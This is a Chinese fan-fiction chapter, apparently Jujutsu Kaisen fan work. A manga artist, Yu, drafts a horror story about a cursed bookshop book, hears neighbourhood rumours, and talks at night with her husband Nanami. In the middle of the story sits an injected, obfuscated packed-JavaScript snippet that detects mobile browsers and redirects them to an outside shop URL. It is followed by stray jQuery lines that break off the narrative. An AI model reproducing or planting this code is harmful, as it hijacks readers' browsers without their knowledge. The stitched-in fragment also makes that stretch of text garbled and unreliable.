同一时间，悠盘腿坐在地毯上，周围散落着铅笔、橡皮、还有一堆从图书馆借来的旧书店摄影集。
她已经保持这个姿势四个小时了。
速写本上：穿着校服的女孩走进昏暗的书店，目光被角落一本暗红色的书吸引；翻开书，书页一片空白；女孩失望地合上，但当晚她却梦见书页浮现文字；第二天，那本书上真的出现了字——是她暗恋的学长写给她的情书，详细到只有他们两人知道的细节……
“不行……”悠划掉最后一格，“这样不够恐怖嘛……”
恐怖，不在于突然的惊吓，而在于日常被缓慢侵蚀的过程。
是那种“有什么不对劲，但说不出哪里不对”的累积，是熟悉的事物逐渐变得陌生的不安感。
她需要更细微的东西。
悠站起身，走到窗边。
盛夏午后的阳光炙烤着街道，商店街的行人寥寥无几。
她的目光落在书店的方向。
在她的视野里，那家书店周围缠绕的暗紫色线似乎更浓了一些。
不是咒力，不是怨念，而是……某种聚集的“关注”。
很多人开始谈论那家店了。
很多人开始相信“那本书能预知未来”。
相信本身，会强化怪谈。
悠回到书桌前，重新拿起铅笔。
这次，她画得更慢，更细致：
第一格：女孩在书店打工，每天擦拭书架。
她注意到那本红皮书总是在不同的位置——今天在推理小说区，明天在文学区，后天在儿童绘本区。
第二格：她问老板“这本书要卖吗？”
老板眯着眼睛看了很久：“嗯？哪本？我不记得进过这样的书……”
第三格：女孩开始留意每个拿起这本书的客人。
一个中年男人翻开后脸色大变，匆匆离开；一个高中女生看了几页后开始哭泣；一个老人颤抖着合上书，喃喃自语“怎么会……”
第四格：女孩终于忍不住，在打烊后翻开了那本书。
书页空白。
她等了十分钟，还是空白。
她失望地放回原处。
第五格：当晚，她梦见书页上浮现文字——是她父亲车祸的详细描述，时间就在明天下午三点，地点是她每天放学经过的路口。
第六格：她惊醒，冷汗浸透睡衣。
第二天，她请假没去上学，守在路口。
三点整，一辆卡车失控冲上人行道，撞断了电线杆——但没有人受伤。
卡车司机吓傻了，喃喃说刹车突然失灵。
第七格：女孩回到书店，那本书不见了。
她问老板，老板还是一脸茫然：“什么红皮书？你是不是记错了？”
第八格：一周后，女孩在整理新到的二手书时，再次看到了那本红皮书。
她颤抖着翻开——这次出现的，是她母亲病倒的画面，诊断书上的字迹清晰可见。
第九格：她冲回家，母亲正在做饭，一切如常。
但三天后，母亲真的晕倒了，送医后的诊断和书上一模一样。
第十格：女孩终于明白：这本书不会预言“必然”，只会展示“可能性”。
但每个看到可能性的人，都会因为恐惧或干预，让可能性成真。
最后一格：女孩站在书店里，看着那本红皮书。
她的手伸向它，又缩回。门外有新的客人进来——是个抱着婴儿的年轻母亲。
女孩看着那个母亲走向放红皮书的书架……
悠停笔。
这个结局——没有解决，只有蔓延。
怪谈像病毒一样传播，每个接触者都成为新的载体。
她看了眼时钟，该出门了——昨天和商店街的蔬菜店阿姨约好，今天要去听更多的“素材”。
悠换了条简单的棉布裙，扎起头发，背上帆布包。
出门前，她给七海发了条消息：“我去商店街买菜，顺便收集素材。晚上想吃什么？”
几分钟后，回复来了：“都可以。别太晚回。”
“知道啦～”
下午的街区比中午热闹些。
主妇们开始采购晚餐食材，放学的孩子们挤在零食店前，老人们坐在荫凉处摇着扇子聊天。
悠先在蔬果店买了西红柿和黄瓜。店主阿姨一边称重一边压低声音说，
“哎呀，小悠，你昨天问的那个书店的事，我又听到新的了！”
“哎！是吗？”悠接过袋子，“什么新消息？”
“听说啊，有个高中生，在书里看到自己考试作弊被抓的画面。”阿姨神神秘秘地说，“他吓坏了，考试那天特别小心，根本没作弊。但坐在他前面的女生作弊，被老师抓了个正着——那女生用的方法，和书里写的一模一样！”
“只是巧合吧？”
“一次是巧合，两次三次呢？”阿姨摇头，“还有个更吓人的——隔壁町的田中太太，在书里看到丈夫出轨的对象是她最好的朋友。她回去大吵大闹，结果真的在丈夫手机里发现了聊天记录……”
悠心里一沉。
这不只是“看到可能性”，这是主动催化可能性的实现了。
“那本书……还在书店里吗？”
“在啊！好多人特意去看呢。”阿姨叹气，“不过店长老爷子好像很苦恼，说根本没那本书，但客人们都说有……”
付了钱，悠走向鱼店。
路过书店时，她停下脚步。
透过玻璃窗，能看到里面有几个客人。
一个穿着校服的女生站在角落的矮桌前，正盯着那本暗红色的书犹豫要不要翻开。
悠的视野里，女孩身上延伸出细细的、不安的暗紫色线，正慢慢飘向那本书。
而她身上的线，开始染上同样的颜色。
“别看……”悠轻声说，但隔着玻璃，女孩听不见。
最终，女孩还是伸手拿起了书。
悠移开目光，继续往前走。
在鱼店买了鲭鱼后，她遇到了坂本太太。
“哎呀，七海太太！”坂本太太提着购物篮，“出来买菜？你家先生上班去了？”
“嗯，今天开始恢复上班了。”
“真是辛苦啊。”坂本太太和她并肩走着，“对了，你表姐吉野太太前几天碰到我，说她儿子顺平找了个家教，成绩进步了不少呢。”
“是吗？那太好了。”
“不过……”坂本太太压低声音，“顺平那孩子，最近好像还是有点……怎么说呢，心神不宁的。吉野太太说他晚上睡不好，总说听到奇怪的声音。我悄悄跟你讲啊，会不会是之前那栋楼的事……”
悠心里一动：“应该不是。楼里已经干净了。”
“那就好。”坂本太太点头，“不过啊，有些人天生就比较敏感。顺平那孩子……可能就是这样吧。”
两人在路口分开。
悠提着食材往家走，脑海里回响着坂本太太的话。
敏感——是的，七海海说顺平能微弱地感知到咒力，虽然没有觉醒术式，但这种感知能力会让他比普通人更容易注意到异常。
也更容易被异常影响。
回家路上，悠给顺平发了条消息：“顺平，最近怎么样？家教还顺利吗？”
几分钟后，回复来了，“嗯，数学进步了。谢谢悠小姨关心。”
“睡得好吗？听你妈妈说晚上有点睡不好。”
这次过了很久才回复“……还好。就是有时候会做奇怪的梦。”
“什么梦？”
“梦见……很多眼睛在看我。还有黑色的东西，缠在身上……”
悠停下脚步思考。
应该只是梦境中的象征性意象。
如果他持续感知到异常，潜意识可能会用这种压抑恐怖的形式表达出来……
她打字“如果再做这样的梦，可以告诉我。或者，试试睡前喝杯热牛奶，听听放松的音乐。”
“好。谢谢悠小姨。”
对话结束。
悠站在公寓楼下，抬头看向六楼自己家的窗户。
暗流，从未真正停止。
晚上钥匙转动的声音响起。
七海推开门时，脸上带着难以掩饰的疲惫。
西装外套搭在手臂上，领带已经扯松，头发也有些凌乱——这是悠第一次见他如此“不整齐”的模样。
“欢迎回家！”悠从书房走出来，“吃过了吗？”
“吃了便利店便当。”七海脱鞋，声音沙哑，“你在赶稿？”
“嗯，但差不多了。”悠接过他的外套，“洗澡水还热着，要泡澡吗？”
七海点头，走向浴室。
悠帮他把西装挂好，然后去厨房热了牛奶，又切了水果。
二十分钟后，七海擦着头发走出来，换上了灰色的家居服。
那种属于“上班族七海”的紧绷感消失了，取而代之的是放松的状态。
悠把牛奶和水果递给他：“新项目很麻烦？”
“工业并购案。”七海在沙发上坐下，“数据混乱，法律关系复杂，甲方负责人是个白痴。”
他用词很克制，但悠听出了压抑的烦躁。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154077|196498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“能搞定吗？”
“能。”七海喝了口牛奶，“需要加班。这周可能都会晚归。”
“注意身体。”悠在他身边坐下，头靠在他肩上，“我今天去街上闲逛，听到很多事。”
她讲了蔬菜店阿姨说的八卦，还有自己看到的那个高中女生。
七海听完，有点诧异。
“听起来像是一种‘概念寄生’。”他最终说，“这种怪谈本身没有实体力量，但通过人类的相信和恐惧获得影响力。那本书可能只是载体，真正的本体是‘预言会成真’这个概念。”
“啊…那这会有麻烦吗？”
七海思考着。
按咒术师的原则，这种可能引发群体恐慌的怪谈应该尽早拔除。
但按他现在“普通人”的立场……
“大概率不会。”他说，“目前还没有直接伤人。但如果出现有人因为‘预言’而自残或伤害他人的情况……窗会探测到并且处理。”
悠半知半解，七海和她解释窗是专门针对咒灵探测监视的部门。
“对了。”悠想起什么，一拍手，“今天遇到坂本太太，她说顺平找了家教，成绩进步了。但他好像还是睡不好，说梦到被东西缠身。”
七海放下杯子，表情严肃。
“顺平这孩子的咒力感知在增强，灵感高于常人一般是不会做噩梦的，梦都是有预见性的。”他说，“虽然咒力微弱，但持续暴露在异常环境下，可能会被动觉醒更多能力。”
“那怎么办？”
“最好的办法是让他远离异常。”七海说，“但‘远离’本身，有时候会引发更大的好奇。”
他顿了顿：“我见过太多这样的例子——有天赋的孩子，因为无人引导，要么能力暴走伤及自身，要么被咒术界发现，拖进那个泥潭。”
悠握住他的手：“我们能做什么？”
“暂时……和他解释。”七海说，“如果他主动求知，我们可以给些建议。但不要主动介入他的生活。他有权利选择普通的人生。”
“如果咒术界发现他呢？”
七海的眼神冷了下来：“我会处理。”
短短四个字，带着不容置疑的决断。
悠靠在他肩上，不再说话。
房间里安静下来，只有窗外隐约传来的城市噪音。
过了一会儿，七海开口：“你的漫画呢？构思好了？”
“嗯。”悠坐起身，眼睛亮起来，“是书店怪谈的故事，结局是没有解决，只有蔓延。编辑肯定会吐槽太压抑了。”
“但这就是真实。”七海说，“怪谈不会因为主角的努力就消失。它们只会变形，转移，寻找新的宿主。”
悠看着他：“七海海，你以前……处理过很多这样的怪谈吗？”
“很多。”七海望向窗外，“有些能拔除，有些只能封印，有些……只能共存。咒术师的工作，很多时候不是‘解决’，而是‘控制’。”
他收回目光，看向悠：“所以你画的漫画，其实很真实——恐怖不是来自怪物，而是来自无能为力。来自明知道有问题，却无法改变的窒息感。”
悠的心被这句话击中。
她忽然明白，为什么七海会如此执着于“普通生活”——因为在那个世界里，至少问题是可以解决的。
数据错了可以修正，项目难做可以加班，人际关系麻烦可以保持距离。
而咒术师的世界，充满无解的疯狂。
“七海海。”她轻声说，“我们以后……如果遇到咒灵之类的，要怎么办？管，还是不管？”
七海沉默了很久。
“……看情况。”他最终说，“如果不危及生命，不影响重要的人，或许可以放任。但如果有无辜者被卷入……”
他没有说完，但悠懂了。
他们的原则是：保护自己的日常，但不对苦难视而不见。
“睡吧。”七海站起身，向她伸出手，“明天还要上班。”
悠握住他的手，被他拉起来。
两人一起走向卧室，关掉客厅的灯。
黑暗中，悠轻声说：“七海海，过去辛苦你了，很累吧。”
“……那时候是很辛苦。”七海的声音在枕边响起，“像在悬崖上走钢丝。”
“现在有我在，不要一个人抗下所有压力呀，老公。我们可是夫妻呢。”
“悠，谢谢你。”
“谢什么嘛？”
是的，他们是夫妻。
要一起面对狗屎工作，一起构思恐怖漫画，一起讨论怪谈和咒力，一起在这个不普通的世界里，努力过普通的日子。